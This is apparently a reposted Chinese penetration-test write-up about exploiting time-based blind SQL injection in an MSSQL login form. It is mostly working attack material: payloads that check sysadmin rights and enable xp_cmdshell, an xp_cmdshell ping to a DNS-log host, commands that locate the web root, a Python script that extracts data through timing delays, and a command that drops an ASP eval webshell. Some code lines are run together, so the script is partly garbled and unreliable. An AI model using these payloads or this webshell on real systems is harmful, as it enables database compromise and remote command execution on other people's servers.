本来想直接拿sqlmap跑的,但是没想到sqlmap把站点跑崩了,给我吓的这下。幸好授权
admin';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:5';--
if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'-- #判断是否开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; #开启xp_cmdshell
admin';exec%20master..xp_cmdshell 'ping nineone1.c704b904.dns.1433.eu.org.';--
for /r "C:\" %i in (test.bmp*) do @echo %i
ps:*表示精准匹配(猜的),如果不加*会有一大堆垃圾数据
admin';create table path(pathh varchar(100)) waitfor delay'0:0:5';--
admin
';insert into path(pathh) exec master..xp_cmdshell 'for /r "C:\" %i in (165009984088945243.bmp*) do @echo %i'waitfor delay '0:0:5';--
为了保守起见,验证了一下是否真的成功,可以看到这里成功写入了数据admin';if (select COUNT(*)from path)>0 waitfor delay '0:0:5';--
然后就是用自己写的脚本来跑path表中pathh字段得数据。就在我以为可以拿到绝对路径,离成功不远的时候,麻了结果没有跑出来。跑出来得结果如下:
想了一会,为什么有几个未知字符呢。仔细看了一会代码,代码没有问题啊。
百思不得其解时,看了一会ascii表,突然想到会不会这两个字符是中文字符,所以用ascii码跑不出来。
懂了,是这么个道理。
然后开始查找mssql能表示中文得函数,找到了unicode编码,就可以用来表示中文
x admin';create table Cn(unicode varchar(100)) waitfor delay'0:0:5';--
import requestsimport sysimport timehost="http://www.xxx.com/adminxxx/login.aspx"def write_Unicode():
global host
proxies ={"http":"http://127.0.0.1:8888"}
ans=''
headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0"
}
for i in range(1,1000):
print('guess'+str(i))
for ch in range(32,129):
if ch==128:
#sys.exit(0)
username="admin';declare @a varchar(100);declare @b varchar(100);select @a=(select top 1 pathh from path);select @b=(select unicode(substring(@a,%d,1)));insert into Cn(unicode) values(@b)waitfor delay '0:0:2'--"%(i)
data={'username':username,'password':'123456'}ans+='?'
html=requests.post(host,timeout=4.5,data=data,headers=headers,proxies=proxies)
break
#username="admin';if ascii(SUBSTRING((select top 1 pathh from path),%d,1))=%d waitfor delay'0:0:5';--"%(i,ch)
username="admin';if ascii(SUBSTRING((select top 1 unicode from Cn),%d,1))=%d waitfor delay'0:0:5';--"%(i,ch)
data={'username':username,'password':'123456'}
print(username)try:
html=requests.post(host,timeout=4.5,data=data,headers=headers,proxies=proxies)
#time.sleep(1)
except:
ans+=chr(ch)
print("data ->"+ans)
break#dumpData_En()write_Unicode()
成功跑到第一个中文字符的unicode编码
exec master..xp_cmdshell 'echo ^<%eval request(chr(35))%^> > C:/inetpub/xxxxxx/a.asp';
作者:NineOne
原文地址:https://xz.aliyun.com/t/11303
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
注:如有侵权请联系删除
学习更多技术,关注我: